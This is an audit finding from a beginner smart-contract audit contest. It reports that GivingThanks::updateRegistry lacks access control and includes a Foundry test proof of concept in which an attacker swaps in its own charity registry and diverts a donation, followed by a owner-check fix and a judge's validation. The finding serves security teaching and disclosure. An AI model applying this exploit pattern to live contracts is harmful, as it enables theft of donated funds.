GivingThanks
First Flight #28
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Insecure `GivingThanks::updateRegistry` Enables Unauthorized Charity Registry Modifications

icon0x

Summary

Vulnerability Details

The GivingThanks::updateRegistry function lacks appropriate access controls, allowing any user to modify the charity registry contract. This vulnerability could enable a malicious actor to deploy a new, malicious charity registry contract and update the GivingThanks::registry state to perform unauthorized actions, such as getting themselves verified to receive donations.

Impact

By exploiting the access control vulnerability in GivingThanks::updateRegistry, a malicious actor could change the registered charity contract to their malicious contract. This would allow the attacker to receive donations intended for the legitimate charity

Tools Used

Manual Review

Proof of Concept

The following Foundry test demonstrates how an attacker can exploit the lack of access controls in the GivingThanks::updateRegistry function to maliciously register themselves as the verified charity recipient and receive donated funds.

function test_maliciousUserUpdateRegistry() public {
​
uint256 donationAmount = 1 ether;
address attacker = makeAddr('attacker');
​
// Check initial token counter
uint256 initialTokenCounter = charityContract.tokenCounter();
​
// Fund the donor
vm.deal(donor, 10 ether);
​
vm.startPrank(attacker);
​
// Attack deploy new Charity Registry
CharityRegistry maliciousCharityRegistry = new CharityRegistry();
address maliciousContractAddress = address(maliciousCharityRegistry);
​
// Update the givingThanks contract with the new created charity Registry
charityContract.updateRegistry(maliciousContractAddress);
​
// Register for charity
maliciousCharityRegistry.registerCharity(attacker);
​
// Verify themselve to receive charity
maliciousCharityRegistry.verifyCharity(attacker);
vm.stopPrank();
​
// Donor donates to the charity
vm.prank(donor);
charityContract.donate{value: donationAmount}(attacker);
​
// Verify ownership of the NFT
address ownerOfToken = charityContract.ownerOf(initialTokenCounter);
assertEq(ownerOfToken, donor);
assertEq(attacker.balance, donationAmount);
​
}
​
​

Recommendations

To mitigate this issue, restrict unauthorized user to call GivingThanks::updateRegistry function, by allowing only admin call this function.

function updateRegistry(address _registry) public {
+ require(msg.sender == owner, "Not the owner");
registry = CharityRegistry(_registry);
}
Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-change-registry

Likelyhood: High, anyone can change it at anytime Impact: High, can bypass the verification process

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.